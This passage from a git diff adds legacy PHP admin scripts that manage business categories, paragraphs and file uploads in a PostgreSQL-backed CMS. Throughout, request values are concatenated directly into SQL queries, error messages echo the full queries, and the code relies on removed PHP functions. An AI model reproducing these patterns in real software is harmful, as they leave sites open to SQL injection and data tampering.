+            GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs, 0);
+        }
+        $data = $DB->db_fetch_array($result, 0, PGSQL_ASSOC);
+        $pos  = $data['pos'];
+        if ($newpos < $pos) {
+            $qs = "
+            SELECT  id,pos
+            FROM    bus_category_bus 
+            WHERE   pos < $pos
+            AND     pos >= $newpos
+            AND     catid = $catid
+            ORDER BY pos";
+            if (!$res = $DB->db_exec($qs)) {
+                GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs, 0);
+            }
+            $counter = ($newpos + 1);
+            for ($i = 0; $i < $DB->db_numrows($res); $i++) {
+                $res_data = $DB->db_fetch_array($res, $i, PGSQL_ASSOC);
+                $res_id   = $res_data['id'];
+                $res_pos  = $res_data['pos'];
+                $qs       = "
+                UPDATE  bus_category_bus
+                SET     pos = $counter
+                WHERE   id = $res_id";
+            
+                if (!$DB->db_exec($qs)) {
+                    GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,0);
+                }
+                $counter++;
+            }
+        } else {
+            $qs = "
+            SELECT  pos,id
+            FROM    bus_category_bus
+            WHERE   pos > $pos
+            AND     pos <= $newpos
+            AND     catid = $catid
+            ORDER BY pos";
+            if (!$res = $DB->db_exec($qs)) {
+                GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs, 0);
+            }
+            $counter = ($pos);
+            for ($i = 0; $i < $DB->db_numrows($res); $i++) {
+                $res_data = $DB->db_fetch_array($res, $i, PGSQL_ASSOC);
+                $res_id   = $res_data['id'];
+                $res_pos  = $res_data['pos'];
+                $qs       = "
+                UPDATE  bus_category_bus
+                SET     pos = $counter
+                WHERE   id = $res_id";
+                if (!$DB->db_exec($qs)) {
+                    GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs, 0);
+                }
+                $counter++;
+            }
+        }
+        $qs = "
+        UPDATE  bus_category_bus
+        SET     pos = $newpos
+        WHERE   id = $id";
+        if (!$DB->db_exec($qs)) {
+            GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs, 0);
+        }
+        $location = "list_bus.phtml?catid=$catid";
+               // cach_Toolbox_paragraphs-$ID
+               $toolbox->cache->remove('paragraphs-' . $catid, 'Toolbox');
+        break;// }}}
+    
+    /*
+     * Update the Paragraph
+     */
+    case "Update":// {{{
+        $DB->db_exec("BEGIN WORK");
+        if (is_array($_POST['delete'])) {
+            foreach ($_POST['delete'] as $d_row_id) {
+                $query    = "
+                SELECT filename 
+                FROM files 
+                WHERE id = ".$d_row_id;
+                $file_res = $DB->db_exec($query); 
+                $filename = pg_result($file_res, 0, 'filename');
+                $query    = "
+                DELETE FROM files 
+                WHERE id = ".$d_row_id;
+                $DB->db_exec($query); 
+                @unlink(UP_BASE.$filename);
+                unset($_FILES['file_new']['name']);
+                // remember files have to be repositioned when there are deleted
+                // get the position number of file then reposition all the ones with a greater pos
+                $query = "
+                UPDATE files SET 
+                pos = pos - 1 
+                WHERE pos > ".$_POST['filename_poshide'.$d_row_id]." 
+                AND bus_id = ".$_POST['id'];
+                $DB->db_exec($query); 
+            }
+        }
+        if (is_array($_FILES['file_new']['name'])) {
+            foreach ($_FILES['file_new']['name'] as $fileId => $fileName) {
+                if ($_FILES['file_new']['name'][$fileId]) {
+                    @unlink(UP_BASE.$_POST['oldfile'][$fileId]);
+                    $update_file_name = GLM_TOOLBOX::file_upload($_FILES['file_new']['tmp_name'][$fileId], $_FILES['file_new']['name'][$fileId], UP_BASE);    
+                    $query = "
+                    UPDATE files SET 
+                    filename = '$update_file_name' 
+                    WHERE id = $fileId;";
+                    $DB->db_exec($query); 
+                }
+            }
+        }
+        if ($_POST['filename_urltext']) {
+            foreach ($_POST['filename_urltext'] as $fileId => $fileUrlText) {
+                $query = "
+                UPDATE files SET 
+                urltext = '$fileUrlText' 
+                WHERE id = $fileId;";
+                $DB->db_exec($query); 
+            }
+        }
+        if (is_array($_FILES['file']) && $_FILES['file']['name'] != '') {
+            $res = $DB->db_exec("select max(pos) as maxpos from files where bus_id = ".$_POST['id']); 
+            $maxpos = pg_result($res, 0, 'maxpos');
+            $maxpos = ($maxpos) ? ++$maxpos : 1;
+            $new_file_name = GLM_TOOLBOX::file_upload($_FILES['file']['tmp_name'], $_FILES['file']['name'], UP_BASE);    
+            $query = "
+            INSERT INTO files 
+            (filename,bytes,type,urltext,bus_id,pos) 
+            VALUES 
+            ('$new_file_name',".$_FILES['file']['size'].",'".$_FILES['file']['type']."',
+            '".$_POST['filename']."',".$_POST['id'].",$maxpos);";
+            $DB->db_exec($query); 
+        }
+        $oldcatid = ereg_replace("^:","",$oldcatid);
+        $oldcatid = split(":",$oldcatid);
+        if ($category) {
+            $category = ereg_replace("^:","",$category);
+            $catid = split(":",$category);
+        }
+        $array_counter = 0;
+        if (is_array($catid)) {
+            $query = "
+            SELECT catid,pos 
+            FROM bus_category_bus 
+            WHERE busid = $id";
+            $res = $DB->db_exec($query);
+            $oldpos = pg_result($res,0,'pos');
+            while ($row = pg_fetch_array($res)) {
+                // do this only if ald catid is being removed
+                if (!in_array($row['catid'],$catid)) {
+                    $query = "
+                    UPDATE bus_category_bus SET 
+                    pos = pos - 1 
+                    WHERE catid = ".$row['catid']." 
+                    AND pos >= $oldpos";
+                    $DB->db_exec($query);
+                    $query = "
+                    DELETE FROM bus_category_bus 
+                    WHERE catid = ".$row['catid']." 
+                    aNd busid = $id";
+                    $DB->db_exec($query);                
+                }
+            }
+            foreach ($catid as $key=>$value) {
+                // do this only if ald catid is being removed
+                if (!in_array($value,$oldcatid)) {
+                    $qs = "SELECT   count(*) as maxpos
+                           FROM     bus_category_bus
+                           WHERE    catid = $value";
+                    if (!$res = $DB->db_exec($qs)) {
+                        GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,1);
+                    }
+                    $row = $DB->db_fetch_array($res,0,PGSQL_ASSOC);
+                    $pos = ($row['maxpos'] == 0) ? (int)0 : (int)$row['maxpos'] ;
+                    $pos++;
+                    $qs = "
+                    INSERT     
+                    INTO bus_category_bus
+                    (busid,catid,pos)
+                    VALUES
+                    ($id,$value,$pos)";
+                    if (!$DB->db_exec($qs)) {
+                        GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,1);
+                    }
+                }
+            }
+        }
+        $fields = array_reverse($fields);
+        $qs = "UPDATE ".TABLE." SET ";
+        for ($i=0;$i<count($fields);$i++) {
+            if ($fields[$i][type]=="date") {
+                $month =  $_POST[$fields[$i][name]."_month"];
+                $day = $_POST[$fields[$i][name]."_day"];
+                $year = $_POST[$fields[$i][name]."_year"];
+                if (is_numeric($month) && is_numeric($day) && is_numeric($year)) {
+                    $date = "'".date("Y-m-d H:i:s T",mktime(0,0,0,$month,$day,$year))."'";
+                } else {
+                    $date = 'NULL';
+                }
+                $qs .= $fields[$i][name]." = $date";
+                if ($i != $LAST) {
+                    $qs .= ",";
+                }
+            } elseif ($fields[$i][type]=="datetime") {
+                $month =  $fields[$i][name]."_month";
+                $day = $fields[$i][name]."_day";
+                $year = $fields[$i][name]."_year";
+                $H = $fields[$i][name]."_hour";
+                $mm = $fields[$i][name]."_mm";
+                if ($$mm == "PM") {
+                    $$H = $$H + 12;
+                }
+                $m = $fields[$i][name]."_min"; 
+                $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+                $qs .= $fields[$i][name]." = '$date'";
+                if ($i != $LAST) {
+                    $qs .= ",";
+                }
+            } elseif ($fields[$i][name]!=ID) {
+                if ($fields[$i][type]=="img") {
+                    $tmpimg = $fields[$i]['name'];
+                    $image_tmp = $$tmpimg;
+                    $oldy = ${"old".$tmpimg};
+                    $image_tmp_name = ${$tmpimg."_name"};
+                    if ($image_tmp == "none" || $image_tmp == "") {
+                        $image_tmp_name = $oldy;
+                    } else { 
+                        $image_tmp_name = GLM_TOOLBOX::process_image($tmpimg);
+                        if ($oldy) {
+                            require_once BASE.'Toolkit/Image/Server.php';
+                            $imServer = new Toolkit_Image_Server();
+                            $imServer->imageDelete($oldy);
+                        }
+                    }
+                    $delete = ${"delete".$tmpimg};
+                    if ($delete==1) {
+                        $image_tmp_name = "";
+                        if ($oldy) {
+                            require_once BASE.'Toolkit/Image/Server.php';
+                            $imServer = new Toolkit_Image_Server();
+                            $imServer->imageDelete($oldy);
+                        }
+                    }
+                    $qs .= $fields[$i][name]." = '".$image_tmp_name."'";
+                    if ($i != $LAST) {
+                        $qs .= ",";
+                    }
+                } elseif ($fields[$i][type]=="seperator") {
+                        //empty
+                } elseif ($fields[$i][type]=="file") {
+                    $tmpfile = $fields[$i]['name'];
+                    $file_tmp = $$tmpfile;
+                    $oldy = ${"old".$tmpfile};
+                    $file_tmp_name = ${$tmpfile."_name"};
+                    if ($file_tmp == "none" || $file_tmp == "") {
+                        $file_tmp_name = $oldy;
+                    } else { 
+                        $file_tmp_name = GLM_TOOLBOX::file_upload($file_tmp,$file_tmp_name,UP_BASE);
+                    }
+
+                    $delete = ${"delete".$tmpfile};
+                    if ($delete==1) {
+                        $file_tmp_name = "";
+                        @unlink(UP_BASE.$oldy);
+                    }
+                    $qs .= $fields[$i][name]." = '".$file_tmp_name."'";
+                    if ($i != $LAST) {
+                        $qs .= ",";
+                    }
+                } elseif ($fields[$i]['type']=="bool") {
+                        $value = ($_REQUEST[$fields[$i]['name']]) ? 't' : 'f';
+                        $qs .= $fields[$i]['name']." = '$value'";
+                        if ($i != $LAST) {
+                            $qs .= ",";
+                        }
+                } elseif ($fields[$i][type]=="static") {
+                    // do nothing
+                } elseif ($fields[$i][type]=="password") {
+                    if (($password && $password2) && ($password == $password2)) {
+                        $qs .= $fields[$i][name]." = '".$$fields[$i][name]."'";
+                        if ($i != $LAST) {
+                            $qs .= ",";
+                        }
+                    }        
+                } else {
+                    $qs .= $fields[$i][name]." = '".$$fields[$i][name]."'";
+                    if ($i != $LAST) {
+                        $qs .= ",";
+                    }
+                }
+            } else {
+                $qs = substr($qs,0,strlen($qs)-1);
+                $qs .= " WHERE ".$fields[$i][name]." = ".$$fields[$i][name];
+            }    
+        }
+        $fields = array_reverse($fields);
+        if (!$DB->db_exec($qs)) {
+            $ERRORS .= pg_errormessage($dbd).$qs;
+        }
+        $location = "list_bus.phtml?catid=".$catid[0]."&".SID;
+               // cach_Toolbox_paragraphs-$ID
+               $toolbox->cache->remove('paragraphs-' . $oldcatid[0], 'Toolbox');
+               $toolbox->cache->remove('paragraphs-' . $catid[0], 'Toolbox');
+        $DB->db_exec("COMMIT WORK");
+        break;// }}}
+    
+    /*
+     * Insert a new paragraph at last position + 1
+     */
+    case "Insert":// {{{
+        if (is_array($_FILES['file']) && $_FILES['file']['name'] != '') {
+            $new_file_name = GLM_TOOLBOX::file_upload($_FILES['file']['tmp_name'], $_FILES['file']['name'], UP_BASE);    
+        }
+        if ($category) {
+            $category = ereg_replace("^:", "", $category);
+            $catid = split(":", $category);
+        }
+        $tmp = "";
+        $tmp_value = "";
+        for ($i = 0; $i < count($fields); $i++) {
+            if ($fields[$i]['name'] != ID) {
+                if ($fields[$i]['type']!="static" && $fields[$i]['type']!="seperator") {
+                    $tmp .= $fields[$i]['name'];
+                    $tmp .= ",";    
+                }
+            }
+        }
+        for ($i=0;$i<count($fields);$i++) {
+            if ($fields[$i]['type']=="date") {
+                $month = $_POST[$fields[$i]['name']."_month"];
+                $day   = $_POST[$fields[$i]['name']."_day"];
+                $year  = $_POST[$fields[$i]['name']."_year"];
+                if (is_numeric($month) && is_numeric($day) && is_numeric($year)) {
+                    $date = "'".date("Y-m-d H:i:s T",mktime(0, 0, 0, $month, $day, $year))."'";
+                } else {
+                    $date = 'NULL';
+                }
+                $tmp_value .= "$date";
+                $tmp_value .= ",";    
+                } elseif ($fields[$i]['type']=="bool") {
+                    $value = ($_REQUEST[$fields[$i]['name']]) ? 't' : 'f';
+                    $tmp_value .= "'$value'";
+                    $tmp_value .= ",";    
+            } elseif ($fields[$i]['type'] == "static") {
+            } elseif ($fields[$i]['type'] == "seperator") {
+            } elseif ($fields[$i]['type'] == "datetime") {
+                $month =  $fields[$i]['name']."_month";
+                $day   = $fields[$i]['name']."_day";
+                $year  = $fields[$i]['name']."_year";
+                $H     = $fields[$i]['name']."_hour";
+                $mm    = $fields[$i]['name']."_mm";
+                if ($$mm == "PM") {
+                    $$H = $$H + 12;
+                }
+                $m          = $fields[$i]['name']."_min"; 
+                $date       = date("Y-m-d H:i:s T", mktime($$H, $$m,0, $$month, $$day, $$year));
+                $tmp_value .= "'$date'";
+                $tmp_value .= ",";    
+            } elseif ($fields[$i]['type'] == "img") {
+                $tmpimg     = $fields[$i]['name'];
+                $image      = $$tmpimg;
+                $image_name = ${$tmpimg."_name"};
+                if ($image == "none" || $image == "") {
+                    $image_name = '';
+                } else { 
+                    $image_name = GLM_TOOLBOX::process_image($tmpimg);
+                }
+                $tmp_value .= "'".$image_name."'";
+                $tmp_value .= ",";    
+            } elseif ($fields[$i]['type'] == "file") {
+                $tmpfile   = $fields[$i]['name'];
+                $file      = $$tmpfile;
+                $file_name = ${$tmpfile."_name"};
+                if ($file == "none" || $file == "") {
+                    $file_name = '';
+                } else { 
+                    $file_name = GLM_TOOLBOX::file_upload($file, $file_name, UP_BASE);
+                }
+                $tmp_value .= "'".$file_name."'";
+                $tmp_value .= ",";    
+            } elseif ($fields[$i]['name'] != ID) {
+                $tmp_value .= "'".$$fields[$i]['name']."'";
+                $tmp_value .= ",";    
+            }
+        }
+        // get the lat and lon for bus
+        // check for all blanks
+        $tmp_blank = str_replace("'", "", $tmp_value);
+        $tmp_blank = str_replace(",", "", $tmp_blank);
+        $tmp       = substr($tmp, 0, strlen($tmp)-1);
+        $tmp_value = substr($tmp_value, 0, strlen($tmp_value)-1);
+        if (!$res = $DB->db_exec("BEGIN WORK")) {
+            die(pg_errormessage($dbd).$qs);
+        }
+        if ($tmp_blank || $_FILES['file']['name']) {
+            $qs = "
+            INSERT INTO ".TABLE." 
+            (".ID.", $tmp)
+            VALUES
+            (nextval('".SEQUENCE."'), $tmp_value)";
+            if (!$res = $DB->db_exec($qs)) {
+                die(pg_errormessage($dbd).$qs);
+            }
+            if ($new_file_name) {
+                $query = "
+                INSERT INTO files 
+                (filename,bytes,type,urltext,bus_id) 
+                VALUES 
+                ('$new_file_name',".$_FILES['file']['size'].",'".$_FILES['file']['type']."',
+                '".$_POST['filename']."',currval('bus_id_seq'));";
+                $DB->db_exec($query); 
+            }
+            if (is_array($catid)) {
+                foreach ($catid as $key => $value) {
+                    $qs = "
+                    SELECT  count(*) as maxpos
+                    FROM    bus_category_bus
+                    WHERE   catid = $value";
+                    if (!$res = $DB->db_exec($qs)) {
+                        GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs, 1);
+                    }
+                    $row2 = $DB->db_fetch_array($res, 0, PGSQL_ASSOC);
+                    if (!$pos = $row2[maxpos]) {
+                        $pos = 1;
+                    } else {
+                        $pos++;
+                    }
+                    $qs = "
+                    INSERT     
+                    INTO bus_category_bus
+                    (busid,catid,pos)
+                    VALUES
+                    (currval('bus_id_seq'),$value,$pos)";
+                    if (!$DB->db_exec($qs)) {
+                        GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs, 1);
+                    }
+                }
+                if (!$res = $DB->db_exec("COMMIT WORK")) {
+                    die(pg_errormessage($dbd).$qs);
+                }
+            } else {
+                $qs = "
+                SELECT  count(*) as maxpos
+                FROM    bus_category_bus
+                WHERE    catid = $catid";
+                if (!$res = $DB->db_exec($qs)) {
+                    GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs, 1);
+                }
+                $row2 = $DB->db_fetch_array($res, 0, PGSQL_ASSOC);
+                if (!$pos = $row2[maxpos]) {
+                    $pos = 1;
+                } else {
+                    $pos++;
+                }
+                $qs = "
+                INSERT     
+                INTO bus_category_bus
+                (busid,catid,pos)
+                VALUES
+                ($row[id],$catid,$pos)";
+    
+                if (!$DB->db_exec($qs)) {
+                    GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs, 1);
+                }
+                if (!$res = $DB->db_exec("COMMIT WORK")) {
+                    die(pg_errormessage($dbd).$qs);
+                }
+            }
+        }
+        $location = "list_bus.phtml?catid=".$catid[0]."&".SID; 
+               // cach_Toolbox_paragraphs-$ID
+               $toolbox->cache->remove('paragraphs-' . $catid[0], 'Toolbox');
+        break;// }}}
+    
+    /*
+     * Delete a paragraph
+     * reposition all other paragraphs
+     * delete images and files for this
+     * paragraph
+     */
+    case "Delete":// {{{
+        $oldcatid = ereg_replace("^:", "", $oldcatid);
+        $oldcatid = split(":", $oldcatid);
+        require_once BASE.'Toolkit/Image/Server.php';
+        $imServer = new Toolkit_Image_Server();
+        if ($oldimage) {
+            $imServer->imageDelete($oldimage);
+        }
+        if ($oldimage2) {
+            $imServer->imageDelete($oldimage2);
+        }
+        if ($oldimage3) {
+            $imServer->imageDelete($oldimage3);
+        }
+        $query = "
+        SELECT * 
+        FROM files 
+        WHERE bus_id = $id;";
+        if ($fRes = $DB->db_exec($query)) {
+            while ($fRow = pg_fetch_array($fRes)) {
+                if (is_file(UP_BASE.$fRow['filename'])) {
+                    unlink(UP_BASE.$fRow['filename']);
+                }
+            }
+        }
+        foreach ($oldcatid as $key=>$value) {
+            if ($value) {
+                $qs = "
+                SELECT id,pos
+                FROM   bus_category_bus
+                WHERE  busid = $id
+                AND    catid = $value";
+            if (!$res = $DB->db_exec($qs)) {
+                GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs, 1);
+            }
+            $row = $DB->db_fetch_array($res, 0, PGSQL_ASSOC);
+            $qs = "
+            SELECT  id
+            FROM    bus_category_bus
+            WHERE   pos > $row[pos]
+            AND     catid = $value
+            ORDER BY pos";
+            if (!$res2 = $DB->db_exec($qs)) {
+                GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs, 1);
+            }
+            $counter = $row[pos];
+            for ($i = 0; $i < $DB->db_numrows($res2); $i++) {
+                $row2 = $DB->db_fetch_array($res2, $i, PGSQL_ASSOC);
+            
+                $qs = "
+                UPDATE  bus_category_bus
+                SET     pos = $counter
+                WHERE   id = $row2[id]";
+                       
+                if (!$DB->db_exec($qs)) {
+                    GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs, 1);
+                }
+                $counter++;
+                }
+            }
+        }
+        $qs = "
+        DELETE FROM bus
+        WHERE id = $id";
+        if (!$DB->db_auto_exec($qs)) {
+            GLM_TOOLBOX::html_error("failed ->".$qs, 1);
+        }
+        $location = "list_bus.phtml?catid=".$oldcatid[0]."&".SID; 
+               // cach_Toolbox_paragraphs-$ID
+               $toolbox->cache->remove('paragraphs-' . $oldcatid[0], 'Toolbox');
+        break;// }}}
+    
+    /*
+     * Cancel Paragraph edit
+     */
+    case "Cancel":// {{{
+        $oldcatid = ereg_replace("^:","",$oldcatid);
+        $oldcatid = split(":",$oldcatid);
+        $catid = ereg_replace("^:","",$oldcatid);
+        $catid = split(":",$oldcatid);
+        $location = "list_bus.phtml?catid=".$oldcatid[0]."&".SID; 
+        break;// }}}
+    
+    default:// {{{
+        GLM_TOOLBOX::html_error("incorrect value for Command",1);
+        break;// }}}
+            
+    }
+}
+/*
+ * Redirect to the list paragraph page
+ */
+header("Location: $location");
+?>
diff --git a/admin/Toolbox/update_bus_category.phtml b/admin/Toolbox/update_bus_category.phtml
new file mode 100755 (executable)
index 0000000..b91a267
--- /dev/null
@@ -0,0 +1,314 @@
+<?php
+/*
+ * Includes
+ */
+include_once "../../setup.phtml";
+include_once "toolbox_setup.inc";
+// clean short_url
+if ($_REQUEST['short_url']) {
+    $_REQUEST['short_url'] = ereg_replace("[^A-Za-z0-9_-]", "", trim($_REQUEST['short_url']));
+}
+if ($REQUEST_METHOD == "POST" || $Command == "Move") {
+    switch($Command) {
+    // {{{ case "Move":
+
+    /*
+     * Move a Page position 
+     */
+    case "Move":
+        $qs = "
+        SELECT  pos,id
+        FROM    bus_category
+        WHERE   id = $id";
+        if (!$result = $DB->db_exec($qs)) {
+            GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,0);
+        }
+        $data = $DB->db_fetch_array($result,0,PGSQL_ASSOC);
+        $pos = $data['pos'];
+        if ($newpos < $pos) {
+            $qs = "
+                SELECT  id,pos
+                FROM    bus_category
+                WHERE   pos < $pos
+                AND     pos >= $newpos
+                AND     parent = $parent
+                ORDER BY pos";
+            if (!$res = $DB->db_exec($qs)) {
+                GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,0);
+            }
+            $counter = ($newpos + 1);
+            for ($i=0;$i<$DB->db_numrows($res);$i++) {
+                $res_data = $DB->db_fetch_array($res,$i,PGSQL_ASSOC);
+                $res_id = $res_data['id'];
+                $res_pos = $res_data['pos'];
+                $qs = "
+                    UPDATE  bus_category
+                    SET     pos = $counter
+                    WHERE   id = $res_id";
+                if (!$DB->db_exec($qs)) 
+                {
+                    GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,0);
+                }
+                $counter++;
+            }
+        } else {
+            $qs = "
+                SELECT  pos,id
+                FROM    bus_category
+                WHERE   pos > $pos
+                AND     pos <= $newpos
+                AND     parent = $parent
+                ORDER BY pos";
+            if (!$res = $DB->db_exec($qs)) {
+                GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,0);
+            }
+            $counter = ($pos);
+            for ($i=0;$i<$DB->db_numrows($res);$i++) {
+                $res_data = $DB->db_fetch_array($res,$i,PGSQL_ASSOC);
+                $res_id = $res_data['id'];
+                $res_pos = $res_data['pos'];
+                $qs = "
+                    UPDATE  bus_category
+                    SET     pos = $counter
+                    WHERE   id = $res_id";
+                if (!$DB->db_exec($qs)) 
+                {
+                    GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,0);
+                }
+                $counter++;
+            }
+        }
+        $qs = "
+            UPDATE  bus_category 
+            SET     pos = $newpos
+            WHERE   id = $id";
+        if (!$DB->db_exec($qs)) {
+            GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,0);
+        }
+        break;// }}}
+    // {{{ case "Update":
+
+    /*
+     * Update the Page
+     */
+    case "Update":
+        if ($image != "none" && $image != "") {
+            require_once BASE.'Toolkit/Image/Server.php';
+            $imServer = new Toolkit_Image_Server();
+            if ($oldimage) {
+                $imServer->imageDelete($oldimage);
+            }
+            $image_name = GLM_TOOLBOX::process_image('image');
+        } else {
+            $image_name = $oldimage;
+        }
+        if ($delete == "1") {
+            $image_name = "";
+            require_once BASE.'Toolkit/Image/Server.php';
+            $imServer = new Toolkit_Image_Server();
+            $imServer->imageDelete($_REQUEST['oldimage']);
+        }
+        if ($parent != $oldparent) {
+            $qs = "
+                SELECT  MAX(pos) as maxpos
+                FROM    bus_category
+                WHERE   parent = $parent";
+            $res = $DB->db_exec($qs);
+            $row = $DB->db_fetch_array($res,0,PGSQL_ASSOC);
+            $pos = $row[maxpos];
+            $pos++;
+            $qs = "
+                SELECT  pos,id 
+                FROM    bus_category
+                WHERE   parent = $oldparent
+                AND     pos > $oldpos
+                ORDER BY pos";
+            $res2 = $DB->db_exec($qs);
+            $oldparent_counter = $oldpos;
+            for ($i=0;$i<$DB->db_numrows($res2);$i++) {
+                $row2 = $DB->db_fetch_array($res2,$i,PGSQL_ASSOC);
+                $qs = "
+                    UPDATE  bus_category
+                    SET     pos = $oldparent_counter
+                    WHERE   id = $row2[id]";
+                $DB->db_exec($qs);
+                $oldparent_counter++;
+            }
+        } else {
+            $pos = $oldpos;
+        }
+        $template       = ($template) ? $template : 1;
+        $featured       = ($featured == 't') ? $featured : 'f';
+        $no_search_form = ($no_search_form == 't') ? $no_search_form : 'f';
+        $section_links  = ($section_links == 't') ? $section_links : 'f';
+        $region         = (is_numeric($region)) ? $region : 'NULL';
+        
+        //$res2 = $DB->db_exec("BEGIN WORK;"); 
+        $qs = "
+            UPDATE bus_category SET     
+            category = '$category', 
+            featured = '$featured',
+            no_search_form = '$no_search_form',
+            meta_descr = '$meta_descr',
+            title = '$title',
+            section_links = '$section_links',
+            parent = $parent,
+            pos = $pos,
+            intro = '$intro',
+            feature_intro = '$feature_intro',
+            description = '$description',
+            image = '$image_name',
+            imagename = '$imagename',
+            keyword = '$keyword',
+            template = $template,
+            short_url = '$short_url',
+            region = $region
+            WHERE id = $id";
+        if (!$DB->db_exec($qs)) {
+            GLM_TOOLBOX::html_error("failed ->".$qs,1);
+        }
+        if (defined("MEMBERS_DB") && MEMBERS_DB) {
+            update_member_bus_cat(&$DB);
+        }
+               $toolbox->cache->clean('Nav');
+        //$DB->db_exec("COMMIT WORK;"); 
+        break;// }}}
+    // {{{ case "Insert":
+    
+    /*
+     * Insert a new Page at last position + 1
+     */
+    case "Insert":
+        $parent = ($parent) ? $parent : 0;
+        if ($image != "none" && $image != "") {
+            $image_name = GLM_TOOLBOX::process_image('image');
+        } else { 
+            $image_name = $oldimage;
+        }
+        $qs = "
+            SELECT  MAX(pos) as maxpos
+            FROM    bus_category
+            WHERE   parent = $parent";
+        $res = $DB->db_exec($qs);
+        $row = $DB->db_fetch_array($res,0,PGSQL_ASSOC);
+        $nextpos = $row[maxpos];
+        $nextpos++;
+        $template       = ($template) ? $template : 1;
+        $parent         = ($parent) ? $parent : 0;
+        $featured       = ($featured == 't') ? $featured : 'f';
+        $no_search_form = ($no_search_form == 't') ? $no_search_form : 'f';
+        $section_links  = ($section_links == 't') ? $section_links : 'f';
+        $region         = (is_numeric($region)) ? $region : 'NULL';
+
+        $res2 = $DB->db_exec("BEGIN WORK;"); 
+        $qs = "
+            INSERT INTO bus_category 
+            (section_links,no_search_form,featured,feature_intro,template,keyword,
+             category,parent,intro,description,image,imagename,pos,meta_descr,
+             short_url,title,region)
+            VALUES 
+            ('$section_links','$no_search_form','$featured','$feature_intro',$template,'$keyword',
+             '$category',$parent,'$intro','$description','$image_name','$imagename',$nextpos,'$meta_descr',
+             '$short_url','$title',$region)";
+        if (!$res1 = $DB->db_exec($qs)) {
+            GLM_TOOLBOX::html_error("failed ->".$qs,1);
+        }
+        if (defined("MEMBERS_DB") && MEMBERS_DB && is_array($_REQUEST['member_cats'])) {
+            foreach ($_REQUEST['member_cats'] as $memb_catid) {
+                $query = "
+                    INSERT INTO bus_cat_member 
+                    (catid, memb_type) 
+                    VALUES 
+                    (currval('bus_category_id_seq'), $memb_catid);";
+                if (!$DB->db_exec($query)) {
+                    die($query.__LINE__);
+                }
+            }
+        }
+        $DB->db_exec("COMMIT WORK;"); 
+        break;// }}}
+    // {{{ case "Delete"
+    /*
+     * Delete a Page
+     * reposition all other Pages
+     * delete images
+     * Page
+     */
+    case "Delete":
+        $DB->db_exec("BEGIN WORK");
+        $qs = "
+        SELECT   count(*) as count 
+        FROM     bus_category_bus
+        WHERE    catid = $id";
+        $res = $DB->db_exec($qs);
+        $row = $DB->db_fetch_array($res,0,PGSQL_ASSOC);
+        if ($row['count'] >0) {
+            GLM_TOOLBOX::html_error("Sorry but you have items in there\n 
+                        Delete these records first\n",1); 
+        }
+        $qs = "
+            SELECT  parent 
+            FROM    bus_category 
+            WHERE   parent = $id";
+        $res = $DB->db_exec($qs);
+        if ($DB->db_numrows($res) >0) {
+            GLM_TOOLBOX::html_error("Sorry but you have Categories in there\n 
+                        Delete these Categories first\n",1); 
+        }
+        $qs = "
+            SELECT  pos,id 
+            FROM    bus_category
+            WHERE   parent = $oldparent
+            AND     pos > $oldpos
+            ORDER BY pos";
+        $res2 = $DB->db_exec($qs);
+        $oldparent_counter = $oldpos;
+        for ($i=0;$i<$DB->db_numrows($res2);$i++) {
+            $row2 = $DB->db_fetch_array($res2,$i,PGSQL_ASSOC);
+            $qs = "
+                UPDATE  bus_category
+                SET     pos = $oldparent_counter
+                WHERE   id = $row2[id]";
+            $DB->db_exec($qs);
+            $oldparent_counter++;
+        }
+        $qs2 = "
+            DELETE 
+            FROM    bus_category 
+            WHERE   id = $id";
+        $DB->db_exec($qs2);
+        if (!$DB->db_auto_exec($qs2)) html_error(DB_ERROR_MSG.$qs2,1);
+        if ($oldimage) {
+            require_once BASE.'Toolkit/Image/Server.php';
+            $imServer = new Toolkit_Image_Server();
+            $imServer->imageDelete($oldimage);
+        }
+        $DB->db_exec("COMMIT WORK");
+    // remove the cache for this paragraphs
+    // cach_Toolbox_paragraphs-$ID
+    $toolbox->cache->remove('paragraphs-' . $id, 'Toolbox');
+        break;// }}}
+    // {{{ case "Cancel":
+    
+    /*
+     * Cancel Page edit
+     */
+    case "Cancel":
+        break;// }}}
+    // {{{ default
+    default:
+        GLM_TOOLBOX::html_error("incorrect value for Command",1);
+        break;// }}}
+    }
+}
+// remove the cache for this paragraphs
+// cache_Toolbox_page-$ID
+$toolbox->cache->remove('page-' . $id, 'Toolbox');
+$toolbox->cache->remove('paragraphs-' . $id, 'Toolbox');
+// cache_Toolbox_bottomNav
+$toolbox->cache->remove('bottomNav', 'Toolbox');
+// clean the Nav cache
+$toolbox->cache->clean('Nav');
+//GLM_TOOLBOX::create_sitemap();
+header("Location: ".BASE_URL."admin/Toolbox/list_bus_category.phtml?".SID);
+?>
diff --git a/admin/Toolbox/updatetoolset.php b/admin/Toolbox/updatetoolset.php
new file mode 100755 (executable)
index 0000000..7863b18
--- /dev/null
@@ -0,0 +1,32 @@
+<?php
+       /* If you don't have a newsletter installed then comment oeut the part where it updates
+         the news and news_block tables
+        or else this will rollback (since it is in a transaction)
+       :) 
+        */
+       require_once '../../setup.phtml';
+       require_once BASE.'classes/class_db.inc';
+       require_once BASE.'classes/class_template.inc';
+
+       $DB =& new GLM_DB();
+       $DB->db_connect();
+       $DB->db_exec( "BEGIN WORK" );
+
+       echo 'replacing newlines with &lt;br&gt; in bus_category<br>';
+       $DB->db_exec( "update bus_category set description = replace(description,'\\n','<br>')" );
